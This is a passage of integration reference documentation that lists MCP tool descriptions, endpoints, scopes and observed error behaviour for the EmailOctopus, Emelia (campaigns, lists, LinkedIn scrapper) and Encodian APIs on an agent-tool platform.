X-RateLimit-Retry-After; a 429 is the budget, never the credential. PUT /api/v1/emailoctopus/lists/{list_id}/fields/{tag}. Scopes: api. emailoctopus_put_lists_by_list_id_tags_by_tag (write) — Rename a tag on a list via PUT /lists/{list_id}/tags/{tag}. The `{tag}` in the path names the existing tag and `tag` in the body is its new name; the rename follows through to every contact carrying it. An id this key cannot see answers 404 `not-found` -- "typically caused by using an invalid or incorrect identifier, such as a list ID or contact ID that doesn't exist in your account". Measured 2026-09-22: an UNROUTED path answers the same 404 shape, so read the `type` field rather than the status to tell a missing record from a missing route. EmailOctopus validates the body before acting and answers 422 with an `errors` array of RFC 9457 entries, each carrying a JSON Pointer to the offending attribute (`{"pointer": "/email_address", "detail": "This value should not be blank."}`), so a 422 creates and changes nothing. The body must be sent with `Content-Type: application/json` or the API answers 415 `unsupported-media-type`. A 403 here is one of two things and neither is a bad key: `access-denied` means this key belongs to a different EmailOctopus account than the list or campaign named (check the last four characters of the key on the account's API keys screen), and `out-of-limits` means the operation would exceed the account's PLAN limits. Only a 401 is a credential problem. EmailOctopus rate-limits with a token bucket: 100 tokens, one per request, refilled at 10 per second, so a burst of 100 or a steady 10 per second. The remainder is in the X-RateLimiting-Remaining response header and a 429 carries X-RateLimit-Retry-After; a 429 is the budget, never the credential. PUT /api/v1/emailoctopus/lists/{list_id}/tags/{tag}. Scopes: api. ================================================================================ ## Emelia URL: https://www.agenticfabriq.com/integrations/emelia Section: Integrated Tools Emelia — 56 MCP tools Provider key: emelia. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. emelia_delete_advanced_campaigns_by_campaignid (campaigns, destructive) — Delete a campaign via DELETE /advanced/campaigns/{campaignId}. Permanently delete a campaign. The contacts and the contact lists attached to it are not deleted, and stay available for your other campaigns. The campaign must not be `RUNNING`: pause it first with **Pause a campaign**. To keep the campaign and its statistics while removing it from your list, use **Archive a campaign** instead. DELETE /api/v1/emelia/advanced/campaigns/{campaignId}. Scopes: api. emelia_delete_linkedin_scrappers_by_id (linkedin_scrapper, destructive) — Delete a LinkedIn scrapper via DELETE /linkedin-scrappers/{id}. DELETE /api/v1/emelia/linkedin-scrappers/{id}. Scopes: api. emelia_delete_linkedin_scrappers_by_id_webhook (linkedin_scrapper, destructive) — Remove a webhook from a scrapper via DELETE /linkedin-scrappers/{id}/webhook. DELETE /api/v1/emelia/linkedin-scrappers/{id}/webhook. Scopes: api. emelia_delete_lists_list_by_listid (lists, destructive) — Delete a list via DELETE /lists/list/{listId}. Deletes the list and its contacts. DELETE /api/v1/emelia/lists/list/{listId}. Scopes: api. emelia_delete_lists_list_by_listid_rows_by_leadid (lists, destructive) — Delete a contact via DELETE /lists/list/{listId}/rows/{leadId}. Deletes a contact from the list (and its company data). The list counters stay in sync, and if the list is used by campaigns the removal is propagated to them. Find the contact's `leadId` with the `email` / `linkedinUrl` lookup of `GET /lists/list/{listId}/rows`. After the delete, Get a contact answers 404 "Lead not found" and a second delete 404 "Contact not found" (measured 2026-09-19). DELETE /api/v1/emelia/lists/list/{listId}/rows/{leadId}. Scopes: api. emelia_delete_webhook (webhooks, destructive) — Delete a webhook via DELETE /webhook. Delete an existing webhook by providing its URL Measured 2026-09-19: deleting a URL that is not registered also answers {"success": true} (the operation is idempotent), so confirm the removal with List user webhooks rather than from this status. DELETE /api/v1/emelia/webhook. Scopes: api. emelia_get_advanced_campaigns (campaigns) — List campaigns via GET /advanced/campaigns. GET /api/v1/emelia/advanced/campaigns. Scopes: api. emelia_get_advanced_campaigns_by_campaignid (campaigns) — Get campaign details via GET /advanced/campaigns/{campaignId}. Retrieve the full configuration of a campaign. The response includes the contact lists attached to the campaign (`recipients.lists`) and the lists excluded from it (`recipients.excludedLists`), each with its ID, name and number of contacts. To manage the contacts of an attached list (add, update, search or delete a contact), use the **Lists** endpoints with the list `_id`. GET /api/v1/emelia/advanced/campaigns/{campaignId}. Scopes: api. emelia_get_advanced_campaigns_by_campaignid_activities (campaigns) — Get campaign activities via GET /advanced/campaigns/{campaignId}/activities. GET /api/v1/emelia/advanced/campaigns/{campaignId}/activities. Scopes: api. emelia_get_advanced_campaigns_by_campaignid_manual_tasks (campaigns) — Get pending manual tasks for a campaign via GET /advanced/campaigns/{campaignId}/manual-tasks. Returns the list of pending manual tasks for a given campaign. Optionally filter by step ID. GET /api/v1/emelia/advanced/campaigns/{campaignId}/manual-tasks. Scopes: api. emelia_get_email_providers (email_providers) — List email providers via GET /email-providers. Returns a list of all email providers for the authenticated user with sensitive data masked GET /api/v1/emelia/email-providers. Scopes: api. emelia_get_email_providers_warmup (email_providers) — List warmups for all providers via GET /email-providers/warmup. Returns the warmup status for all email providers of the authenticated user GET /api/v1/emelia/email-providers/warmup. Scopes: api. emelia_get_linkedin_scrappers (linkedin_scrapper) — List all LinkedIn scrappers via GET /linkedin-scrappers. GET /api/v1/emelia/linkedin-scrappers. Scopes: api. emelia_get_linkedin_scrappers_authes (linkedin_scrapper) — List all authes (authentication configurations) via GET /linkedin-scrappers/authes. Returns a list of all LinkedIn authentication configurations for the authenticated user Note that Emelia echoes each configuration's stored LinkedIn `li_at` cookie back in the `token` field of the response (measured 2026-09-19); treat the result as sensitive. GET /api/v1/emelia/linkedin-scrappers/authes. Scopes: api. emelia_get_linkedin_scrappers_by_id_download (linkedin_scrapper) — Download scrapper data via GET /linkedin-scrappers/{id}/download. GET /api/v1/emelia/linkedin-scrappers/{id}/download. Scopes: api. emelia_get_lists_list (lists) — List all lists via GET /lists/list. Without `page` and `limit`, returns a plain array of your lists. With pagination parameters, returns a paginated envelope. Measured 2026-09-19: with no query parameters at all the response is a bare JSON array of lists; with any parameter it is the paginated envelope {items, total, page, pageSize, totalLeads}. GET /api/v1/emelia/lists/list. Scopes: api. emelia_get_lists_list_by_listid (lists) — Get list details via GET /lists/list/{listId}. GET /api/v1/emelia/lists/list/{listId}. Scopes: api. emelia_get_lists_list_by_listid_rows (lists) — List contacts of a list via GET /lists/list/{listId}/rows. Paginated listing of the contacts of a list. To check whether a specific contact exists (before updating or deleting it), use the `email` or `linkedinUrl` parameter instead: it returns the exact matches only (email is matched case-insensitively, the LinkedIn URL verbatim), with their `id` usable in the other contact endpoints. These two parameters are mutually exclusive, and take precedence over `search` and the pagination. GET /api/v1/emelia/lists/list/{listId}/rows. Scopes: api. emelia_get_lists_list_by_listid_rows_by_leadid (lists) — Get a contact via GET /lists/list/{listId}/rows/{leadId}. GET /api/v1/emelia/lists/list/{listId}/rows/{leadId}. Scopes: api. emelia_get_stats_advanced (campaigns) — Get campaign statistics via GET /stats/advanced. GET /api/v1/emelia/stats/advanced. Scopes: api. emelia_get_tools_find_email_by_jobid (tools) — Get the result of a find email job via GET /tools/find/email/{jobId}. An unknown job id answers 400 "Job not found" (measured 2026-09-19). GET /api/v1/emelia/tools/find/email/{jobId}. Scopes: api. emelia_get_tools_find_phone_by_jobid (tools) — Get the result of a find phone job via GET /tools/find/phone/{jobId}. An unknown job id answers 400 "Job not found" (measured 2026-09-19). GET /api/v1/emelia/tools/find/phone/{jobId}. Scopes: api. emelia_get_tools_verify_email_by_jobid (tools) — Get the result of a verify email job via GET /tools/verify/email/{jobId}. An unknown job id answers 400 "Job not found" (measured 2026-09-19). GET /api/v1/emelia/tools/verify/email/{jobId}. Scopes: api. emelia_get_webhook (webhooks) — List user webhooks via GET /webhook. Get all webhooks for the authenticated user GET /api/v1/emelia/webhook. Scopes: api. emelia_patch_advanced_campaigns_by_campaignid_identities (campaigns) — Update campaign identities via PATCH /advanced/campaigns/{campaignId}/identities. Set the identities of a campaign. An identity is a sender: a name, and the accounts it sends from — an email provider and/or a LinkedIn account. Each identity requires a `name` and at least one account: - `email` — ID of one of your email providers, from **List email providers** - `linkedin` — ID of one of your LinkedIn accounts, from **List all authes (authentication configurations)** This endpoint **replaces** the identities of the campaign: send the complete array. The identities are matched by position, and the identities of the campaign beyond the length of the array you send are deleted. An identity reusing an account already used by an earlier identity of the array is ignored. The campaign must not be `RUNNING`: pause it first with **Pause a campaign**. Emelia does not check that an `email` or `linkedin` id exists when the identities are set (measured 2026-09-19: an unowned id is stored and echoed back); the check happens at Start a campaign. PATCH /api/v1/emelia/advanced/campaigns/{campaignId}/identities. Scopes: api. emelia_patch_advanced_campaigns_by_campaignid_name (campaigns) — Rename a campaign via PATCH /advanced/campaigns/{campaignId}/name. Change the name of a campaign. The campaign must not be `RUNNING`: pause it first with **Pause a campaign**. PATCH /api/v1/emelia/advanced/campaigns/{campaignId}/name. Scopes: api. emelia_patch_advanced_campaigns_by_campaignid_planned_start (campaigns, destructive) — Schedule a campaign start via PATCH /advanced/campaigns/{campaignId}/planned-start. Plan the automatic start of a campaign at a given date, or cancel the plan already registered. The date must be in the future, and the campaign must already be ready to start: the same checks as **Start a campaign** are run when the plan is registered. Send `plannedStart: null` to cancel a plan. DESTRUCTIVE: Scheduling a start makes the campaign send cold email and LinkedIn messages at that date without any further confirmation. PATCH /api/v1/emelia/advanced/campaigns/{campaignId}/planned-start. Scopes: api. emelia_patch_advanced_campaigns_by_campaignid_recipients (campaigns) — Update campaign contact lists via PATCH /advanced/campaigns/{campaignId}/recipients. Attach one or several contact lists to a campaign, and optionally exclude lists from it. This endpoint **replaces** the whole selection: send every list ID you want attached, not only the new ones. Use **List all lists** to get the IDs of your lists, and **Get campaign details** to read the current selection (`recipients.lists` and `recipients.excludedLists`). Sending an empty array detaches every list and empties the campaign. The recipients of the campaign are recomputed on the fly: the contacts of the attached lists are de-duplicated by email and LinkedIn profile, and every contact whose email or LinkedIn profile appears in an excluded list is removed. `excludedLists` is optional: when it is omitted, the exclusion lists currently set on the campaign are kept. Unlike the other update endpoints, this one can be called while the campaign is running. PATCH /api/v1/emelia/advanced/campaigns/{campaignId}/recipients. Scopes: api. emelia_patch_advanced_campaigns_by_campaignid_settings (campaigns) — Update campaign settings via PATCH /advanced/campaigns/{campaignId}/settings. Update the general settings of a campaign: daily cadence, sending window, tracking, and the events that stop the sequence for a contact. The settings you send are merged into the current ones, but `start`, `end`, `trackOpens`, `trackLinks` and `blacklistUnsub` must always be present. The safest way to build the payload is to read the current settings with **Get campaign details** (`campaign.schedule`), change the values you need, and send the whole object back. The campaign must not be `RUNNING`: pause it first with **Pause a campaign**. Validation rules: - `end` must be later than `start` - `dailyEmailLimit` must be greater than or equal to `dailyEmailAdded` - `dailyLinkedinAdded` cannot exceed 40 when the sequence contains a connection request step, 80 otherwise PATCH /api/v1/emelia/advanced/campaigns/{campaignId}/settings. Scopes: api. emelia_patch_lists_contacts_by_contactid (lists) — Update a contact via PATCH /lists/contacts/{contactId}. Updates a contact from a flat JSON object — the same body as the add endpoint: field names as keys, values as strings, numbers or booleans. Only the contact ID is needed, the list is derived from the contact. Find the ID with the `email` / `linkedinUrl` lookup of `GET /lists/list/{listId}/rows`, or keep the `leadId` returned when you added the contact. Keys are resolved with the same automatic detection as the add endpoint: contact fields, company fields and your custom variables (technical or display name). An unrecognized key automatically creates a new custom variable on your account. The fields you send overwrite the contact's values — every field you don't send stays untouched. If the contact's list is used by campaigns, the updated values are propagated to them. PATCH /api/v1/emelia/lists/contacts/{contactId}. Scopes: api. emelia_patch_lists_list_by_listid (lists) — Rename a list via PATCH /lists/list/{listId}. PATCH /api/v1/emelia/lists/list/{listId}. Scopes: api. emelia_post_advanced_campaigns (campaigns) — Create a campaign via POST /advanced/campaigns. POST /api/v1/emelia/advanced/campaigns. Scopes: api. emelia_post_advanced_campaigns_by_campaignid_archive (campaigns) — Archive a campaign via POST /advanced/campaigns/{campaignId}/archive. Archive a campaign: its status becomes `ARCHIVED` and it is no longer returned by **List campaigns**. Its contacts, activities and statistics are kept. The campaign must not be `RUNNING`: pause it first with **Pause a campaign**. Un-archiving is only available from the application. POST /api/v1/emelia/advanced/campaigns/{campaignId}/archive. Scopes: api. emelia_post_advanced_campaigns_by_campaignid_duplicate (campaigns) — Duplicate a campaign via POST /advanced/campaigns/{campaignId}/duplicate. Create a new campaign from an existing one. You choose what is copied; everything not copied keeps the default values of a new campaign. The new campaign is created as a draft, and its name must be free on your account. POST /api/v1/emelia/advanced/campaigns/{campaignId}/duplicate. Scopes: api. emelia_post_advanced_campaigns_by_campaignid_manual_tasks_status (campaigns) — Set a manual task status via POST /advanced/campaigns/{campaignId}/manual-tasks/status. Mark a pending manual task as completed (ok) or failed (ko) for a specific contact in a campaign. POST /api/v1/emelia/advanced/campaigns/{campaignId}/manual-tasks/status. Scopes: api. emelia_post_advanced_campaigns_by_campaignid_pause (campaigns) — Pause a campaign via POST /advanced/campaigns/{campaignId}/pause. Pause a running campaign and cancel every action already scheduled. The campaign must be `RUNNING`. Pausing a campaign is required before updating its name, its settings, its identities or its steps. Measured 2026-09-19 on a DRAFT campaign: 400 "This campaign must be in RUNNING status to pause it". POST /api/v1/emelia/advanced/campaigns/{campaignId}/pause. Scopes: api. emelia_post_advanced_campaigns_by_campaignid_start (campaigns, destructive) — Start a campaign via POST /advanced/campaigns/{campaignId}/start. Start a campaign and schedule its first actions. The campaign must have at least one identity, at least one recipient (15,000 maximum), a valid sequence, and the accounts of its identities must be connected. When one of these conditions is not met, the endpoint answers `400` with the reason. DESTRUCTIVE: Starting a campaign sends cold email and LinkedIn messages to every recipient on its schedule; a message sent cannot be unsent. Measured 2026-09-19 on a campaign with no identity: 400 "You must add an an Identity to start the campaign" -- the reason is always in the 400 body. POST /api/v1/emelia/advanced/campaigns/{campaignId}/start. Scopes: api. emelia_post_email_providers (email_providers) — Add a new email provider via POST /email-providers. Creates a new email provider with the provided information Emelia connects to the mailbox before answering, so the SMTP/IMAP or provider credentials must be real (measured 2026-09-19: an unresolvable IMAP host answers 400 "IMAP Error: Cannot resolve IMAP server hostname"). POST /api/v1/emelia/email-providers. Scopes: api. emelia_post_email_providers_warmup_disable (email_providers) — Disable warmup for an email provider via POST /email-providers/warmup/disable. Deactivates the warmup feature for the specified email provider POST /api/v1/emelia/email-providers/warmup/disable. Scopes: api. emelia_post_email_providers_warmup_enable (email_providers) — Enable warmup for an email provider via POST /email-providers/warmup/enable. Activates the warmup feature for the specified email provider POST /api/v1/emelia/email-providers/warmup/enable. Scopes: api. emelia_post_linkedin_scrappers (linkedin_scrapper) — Create a new LinkedIn scrapper via POST /linkedin-scrappers. `url` must be a LinkedIn Sales Navigator people-search URL; a regular LinkedIn search URL answers 400 "Invalid Sales Navigator URL" (measured 2026-09-19). POST /api/v1/emelia/linkedin-scrappers. Scopes: api. emelia_post_linkedin_scrappers_authes (linkedin_scrapper) — Create a new LinkedIn authentication via POST /linkedin-scrappers/authes. Creates a new LinkedIn authentication configuration with the provided cookies and settings The cookie values are the customer's own LinkedIn session credentials, stored by Emelia to drive the scrapper; Emelia does not validate them at creation time (measured 2026-09-19: a bogus `li_at` is accepted and listed with status "valid"). POST /api/v1/emelia/linkedin-scrappers/authes. Scopes: api. emelia_post_linkedin_scrappers_by_id_enrich (linkedin_scrapper) — Start enrichment for a scrapper via POST /linkedin-scrappers/{id}/enrich. POST /api/v1/emelia/linkedin-scrappers/{id}/enrich. Scopes: api. emelia_post_linkedin_scrappers_by_id_split (linkedin_scrapper) — Split a LinkedIn scrapper via POST /linkedin-scrappers/{id}/split. POST /api/v1/emelia/linkedin-scrappers/{id}/split. Scopes: api. emelia_post_linkedin_scrappers_by_id_webhook (linkedin_scrapper) — Add a webhook to a scrapper via POST /linkedin-scrappers/{id}/webhook. It triggers when one of the events is triggered. POST request to the webhook URL with the event data as JSON body is sent. POST /api/v1/emelia/linkedin-scrappers/{id}/webhook. Scopes: api. emelia_post_lists_list (lists) — Create a list via POST /lists/list. Creates an empty list. Then add your contacts with `POST /lists/list/{listId}/contacts` (or the batch variant). POST /api/v1/emelia/lists/list. Scopes: api. emelia_post_lists_list_by_listid_contacts (lists) — Add a contact to a list via POST /lists/list/{listId}/contacts. Adds a single contact to a list from a flat JSON object — field names as keys, values as strings, numbers or booleans. This is the simplest way to push contacts from your automations (Zapier, Make, n8n...). If the list is used by one or several campaigns, the contact is automatically added to those campaigns. Keys are resolved automatically, with the same detection as a file import (by name, then by content): - contact fields (see the `contact` argument — human-readable names like `First Name` work too), - company fields (`companyName`, `websiteUrl`, `industry`...), - your existing custom variables (by technical or display name). Any unrecognized key automatically creates a new custom variable on your account and stores the value in it. Contact fields: Predefined fields of a contact. They are stored on the contact itself (not as custom variables) and are available as `{{variables}}` in your campaigns. Duplicate detection: If the list already contains a contact with the same `email` or the same `linkedinUrlProfile`, nothing is created: the response returns the existing contact's `leadId` with `duplicate: true`. A criterion only applies when both the payload and the existing contact have a value for it — so a retry of the same call is always safe. With `updateIfExists=true`, a duplicate is updated instead of ignored: the fields of the payload overwrite the existing contact's values (fields you don't send are left untouched), and the response carries `updated: true`. This makes the endpoint a full **add-or-update**. POST /api/v1/emelia/lists/list/{listId}/contacts. Scopes: api. emelia_post_lists_list_by_listid_contacts_batch (lists) — Add contacts in bulk via POST /lists/list/{listId}/contacts/batch. Adds up to **100 contacts** in one call. Each item of `contacts` is the same flat object as the single `POST /lists/list/{listId}/contacts` endpoint, with the same field detection, custom variable auto-creation and duplicate rules (including `updateIfExists`). Rows are processed independently: a failing row is reported in `results` (with its `index` and an `error` message) and does not block the others. A contact repeating an email or LinkedIn URL seen earlier in the same batch is counted as a duplicate. POST /api/v1/emelia/lists/list/{listId}/contacts/batch. Scopes: api. emelia_post_tools_find_email (tools) — Find email of a single contact via POST /tools/find/email. Starts an asynchronous job and spends Emelia credits; read the result with Get the result of a find email job. On an account with no credits Emelia answers 400 "You do not have enough credits to perform this action" (measured 2026-09-19). POST /api/v1/emelia/tools/find/email. Scopes: api. emelia_post_tools_find_phone (tools) — Find phone number of a single contact via POST /tools/find/phone. Starts an asynchronous job and spends Emelia credits; read the result with Get the result of a find phone job. On an account with no credits Emelia answers 400 "You do not have enough credits to perform this action" (measured 2026-09-19). POST /api/v1/emelia/tools/find/phone. Scopes: api. emelia_post_tools_verify_email (tools) — Verify email of a single contact via POST /tools/verify/email. Starts an asynchronous job and spends Emelia credits; read the result with Get the result of a verify email job. On an account with no credits Emelia answers 400 "You do not have enough credits to perform this action" (measured 2026-09-19). POST /api/v1/emelia/tools/verify/email. Scopes: api. emelia_post_webhook (webhooks) — Create a webhook via POST /webhook. Create a webhook to watch activity for a campaign POST /api/v1/emelia/webhook. Scopes: api. emelia_post_webhook_test (webhooks) — Test a webhook via POST /webhook/test. Trigger a test call to an existing webhook Measured 2026-09-19: the endpoint answers {"success": true} even for a webhook id that does not exist, so a 200 here proves only that the request was accepted -- confirm delivery at the receiving end. POST /api/v1/emelia/webhook/test. Scopes: api. emelia_put_linkedin_scrappers_by_id_pause (linkedin_scrapper) — Pause a LinkedIn scrapper via PUT /linkedin-scrappers/{id}/pause. PUT /api/v1/emelia/linkedin-scrappers/{id}/pause. Scopes: api. emelia_put_linkedin_scrappers_by_id_rename (linkedin_scrapper) — Rename a LinkedIn scrapper via PUT /linkedin-scrappers/{id}/rename. PUT /api/v1/emelia/linkedin-scrappers/{id}/rename. Scopes: api. emelia_put_linkedin_scrappers_by_id_resume (linkedin_scrapper) — Resume a LinkedIn scrapper via PUT /linkedin-scrappers/{id}/resume. Requires an active Emelia scrapper subscription: without one Emelia answers 400 "You must have an active subscription to use the scrapper" (measured 2026-09-19). PUT /api/v1/emelia/linkedin-scrappers/{id}/resume. Scopes: api. ================================================================================ ## Encodian URL: https://www.agenticfabriq.com/integrations/encodian Section: Integrated Tools Encodian — 345 MCP tools Provider key: encodian. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. encodian_delete_api_v1_trigr_managewebhook_by_tenantwebhookid (write, destructive) — Manages unsubscribing from an Encodian Trigr Webhook via DELETE /api/v1/Trigr/ManageWebHook/{tenantWebHookId} DELETE /api/v1/encodian/api/v1/Trigr/ManageWebHook/{tenantWebHookId}. Scopes: api. encodian_get_api_v1_barcodes_getdynamicschemacreatebarcode (read) — Provides the dynamic schema for the Create Barcode action. via GET /api/v1/Barcodes/GetDynamicSchemaCreateBarcode GET /api/v1/encodian/api/v1/Barcodes/GetDynamicSchemaCreateBarcode. Scopes: api. encodian_get_api_v1_barcodes_getoperationstatus (read) — Get the operation status for the operation ID provided. via GET /api/v1/Barcodes/GetOperationStatus GET /api/v1/encodian/api/v1/Barcodes/GetOperationStatus. Scopes: api. encodian_get_api_v1_barcodes_getoperationstatusaibarcoderead (read) — Retrieve the operation status of a AIBarcodeRead operation for the Operation ID provided. via GET /api/v1/Barcodes/GetOperationStatusAIBarcodeRead GET /api/v1/encodian/api/v1/Barcodes/GetOperationStatusAIBarcodeRead. Scopes: api. encodian_get_api_v1_barcodes_getoperationstatuschd (read) — Get the operation status of for the CHD operation ID provided. via GET /api/v1/Barcodes/GetOperationStatusChd GET /api/v1/encodian/api/v1/Barcodes/GetOperationStatusChd. Scopes: api. encodian_get_api_v1_barcodes_getoperationstatusfileonly (read) — Retrieve the operation status for a file only operation for the Operation ID provided via GET /api/v1/Barcodes/GetOperationStatusFileOnly GET /api/v1/encodian/api/v1/Barcodes/GetOperationStatusFileOnly. Scopes: api. encodian_get_api_v1_barcodes_getoperationstatusmultiplefiles (read) — Get the operation status of the operation ID provided. via GET /api/v1/Barcodes/GetOperationStatusMultipleFiles GET /api/v1/encodian/api/v1/Barcodes/GetOperationStatusMultipleFiles. Scopes: api. encodian_get_api_v1_barcodes_getoperationstatusreadbarcodefromdocument (read) — Retrieve the operation status of a ReadBarcodeFromDocument operation for the Operation ID provided. via GET /api/v1/Barcodes/GetOperationStatusReadBarcodeFromDocument GET /api/v1/encodian/api/v1/Barcodes/GetOperationStatusReadBarcodeFromDocument. Scopes: api. encodian_get_api_v1_barcodes_getoperationstatusreadbarcodefromimage (read) — Retrieve the operation status of a ReadBarcodeFromImage operation for the Operation ID provided. via GET /api/v1/Barcodes/GetOperationStatusReadBarcodeFromImage GET /api/v1/encodian/api/v1/Barcodes/GetOperationStatusReadBarcodeFromImage. Scopes: api. encodian_get_api_v1_barcodes_getoperationstatusreadqrcodefromdocument (read) — Retrieve the operation status of a ReadQrCodeFromDocument operation for the Operation ID provided. - christopher via GET /api/v1/Barcodes/GetOperationStatusReadQrCodeFromDocument GET /api/v1/encodian/api/v1/Barcodes/GetOperationStatusReadQrCodeFromDocument. Scopes: api. encodian_get_api_v1_barcodes_getoperationstatusreadqrcodefromimage (read) — Retrieve the operation status of a ReadQrCodeFromImage operation for the Operation ID provided. via GET /api/v1/Barcodes/GetOperationStatusReadQrCodeFromImage GET /api/v1/encodian/api/v1/Barcodes/GetOperationStatusReadQrCodeFromImage. Scopes: api. encodian_get_api_v1_barcodes_getoperationstatusreadswissqrcodefromimage (read) — Retrieve the operation status of a ReadSwissQrCodeFromImage operation for the Operation ID provided. via GET /api/v1/Barcodes/GetOperationStatusReadSwissQrCodeFromImage GET /api/v1/encodian/api/v1/Barcodes/GetOperationStatusReadSwissQrCodeFromImage. Scopes: api. encodian_get_api_v1_barcodes_getoperationstatusreadswissqrcodesfromdocument (read) — Retrieve the operation status of a ReadSwissQrCodesFromDocument operation for the Operation ID provided. via GET /api/v1/Barcodes/GetOperationStatusReadSwissQrCodesFromDocument GET /api/v1/encodian/api/v1/Barcodes/GetOperationStatusReadSwissQrCodesFromDocument. Scopes: api. encodian_get_api_v1_conversion_getdynamicschemaconvertcad (read) — Provides the dynamic schema for the Convert CAD action. via GET /api/v1/Conversion/GetDynamicSchemaConvertCad GET /api/v1/encodian/api/v1/Conversion/GetDynamicSchemaConvertCad. Scopes: api. encodian_get_api_v1_conversion_getdynamicschemaconvertexcel (read) — Provides the dynamic schema for the Convert Excel action. via GET /api/v1/Conversion/GetDynamicSchemaConvertExcel GET /api/v1/encodian/api/v1/Conversion/GetDynamicSchemaConvertExcel. Scopes: api. encodian_get_api_v1_conversion_getdynamicschemaconvertimagetopdf (read) — Provides the dynamic schema for the 'Convert - Image to PDF' action. via GET /api/v1/Conversion/GetDynamicSchemaConvertImageToPdf GET /api/v1/encodian/api/v1/Conversion/GetDynamicSchemaConvertImageToPdf. Scopes: api. encodian_get_api_v1_conversion_getdynamicschemaconvertpowerpoint (read) — Provides the dynamic schema for the Convert PowerPoint action. via GET /api/v1/Conversion/GetDynamicSchemaConvertPowerPoint GET /api/v1/encodian/api/v1/Conversion/GetDynamicSchemaConvertPowerPoint. Scopes: api. encodian_get_api_v1_conversion_getdynamicschemaconvertvisio (read) — Provides the dynamic schema for the Convert Visio action. via GET /api/v1/Conversion/GetDynamicSchemaConvertVisio GET /api/v1/encodian/api/v1/Conversion/GetDynamicSchemaConvertVisio. Scopes: api. encodian_get_api_v1_conversion_getdynamicschemaconvertword (read) — Provides the dynamic schema for the Convert Word action. via GET /api/v1/Conversion/GetDynamicSchemaConvertWord GET /api/v1/encodian/api/v1/Conversion/GetDynamicSchemaConvertWord. Scopes: api. encodian_get_api_v1_conversion_getoperationstatus (read) — Get the operation status for the operation ID provided. via GET /api/v1/Conversion/GetOperationStatus GET /api/v1/encodian/api/v1/Conversion/GetOperationStatus. Scopes: api. encodian_get_api_v1_conversion_getoperationstatuschd (read) — Get the operation status of for the CHD operation ID provided. via GET /api/v1/Conversion/GetOperationStatusChd GET /api/v1/encodian/api/v1/Conversion/GetOperationStatusChd. Scopes: api. encodian_get_api_v1_conversion_getoperationstatusfileonly (read) — Retrieve the operation status for a file only operation for the Operation ID provided via GET /api/v1/Conversion/GetOperationStatusFileOnly GET /api/v1/encodian/api/v1/Conversion/GetOperationStatusFileOnly. Scopes: api. encodian_get_api_v1_conversion_getoperationstatusmultiplefiles (read) — Get the operation status of the operation ID provided. via GET /api/v1/Conversion/GetOperationStatusMultipleFiles GET /api/v1/encodian/api/v1/Conversion/GetOperationStatusMultipleFiles. Scopes: api. encodian_get_api_v1_excel_getoperationstatus (read) — Get the operation status for the operation ID provided. via GET /api/v1/Excel/GetOperationStatus GET /api/v1/encodian/api/v1/Excel/GetOperationStatus. Scopes: api. encodian_get_api_v1_excel_getoperationstatusaddwatermarkfileonly (read) — Get the operation status of the operation ID provided. via GET /api/v1/Excel/GetOperationStatusAddWatermarkFileOnly GET /api/v1/encodian/api/v1/Excel/GetOperationStatusAddWatermarkFileOnly. Scopes: api. encodian_get_api_v1_excel_getoperationstatuschd (read) — Get the operation status of for the CHD operation ID provided. via GET /api/v1/Excel/GetOperationStatusChd GET /api/v1/encodian/api/v1/Excel/GetOperationStatusChd. Scopes: api. encodian_get_api_v1_excel_getoperationstatusfileonly (read) — Retrieve the operation status for a file only operation for the Operation ID provided via GET /api/v1/Excel/GetOperationStatusFileOnly GET /api/v1/encodian/api/v1/Excel/GetOperationStatusFileOnly. Scopes: api. encodian_get_api_v1_excel_getoperationstatusgetrowsfromexcel (read) — Retrieve the operation status of a GetRowsFromExcel operation for the Operation ID provided. via GET /api/v1/Excel/GetOperationStatusGetRowsFromExcel GET /api/v1/encodian/api/v1/Excel/GetOperationStatusGetRowsFromExcel. Scopes: api. encodian_get_api_v1_excel_getoperationstatusmultiplefiles (read) — Get the operation status of the operation ID provided. via GET /api/v1/Excel/GetOperationStatusMultipleFiles GET /api/v1/encodian/api/v1/Excel/GetOperationStatusMultipleFiles. Scopes: api. encodian_get_api_v1_excel_getoperationstatusparsecsv (read) — Retrieve the operation status of a ParseCsv operation for the Operation ID provided. via GET /api/v1/Excel/GetOperationStatusParseCsv GET /api/v1/encodian/api/v1/Excel/GetOperationStatusParseCsv. Scopes: api. encodian_get_api_v1_excel_getoperationstatussplitdocument (read) — Get the operation status of the operation ID provided. via GET /api/v1/Excel/GetOperationStatusSplitDocument GET /api/v1/encodian/api/v1/Excel/GetOperationStatusSplitDocument. Scopes: api. encodian_get_api_v1_general_getoperationstatus (read) — Get the operation status for the operation ID provided. via GET /api/v1/General/GetOperationStatus GET /api/v1/encodian/api/v1/General/GetOperationStatus. Scopes: api. encodian_get_api_v1_general_getoperationstatusairunprompttext (read) — Get the operation status of the operation ID provided. via GET /api/v1/General/GetOperationStatusAIRunPromptText GET /api/v1/encodian/api/v1/General/GetOperationStatusAIRunPromptText. Scopes: api. encodian_get_api_v1_general_getoperationstatusaitranslatetext (read) — Retrieve the operation status of a AITranslateText operation for the Operation ID provided. via GET /api/v1/General/GetOperationStatusAITranslateText GET /api/v1/encodian/api/v1/General/GetOperationStatusAITranslateText. Scopes: api. encodian_get_api_v1_general_getoperationstatuschd (read) — Get the operation status of for the CHD operation ID provided. via GET /api/v1/General/GetOperationStatusChd GET /api/v1/encodian/api/v1/General/GetOperationStatusChd. Scopes: api. encodian_get_api_v1_general_getoperationstatusextractfromarchivev2 (read) — Get the operation status of the operation ID provided via GET /api/v1/General/GetOperationStatusExtractFromArchiveV2 GET /api/v1/encodian/api/v1/General/GetOperationStatusExtractFromArchiveV2. Scopes: api. encodian_get_api_v1_general_getoperationstatusfileonly (read) — Retrieve the operation status for a file only operation for the Operation ID provided via GET 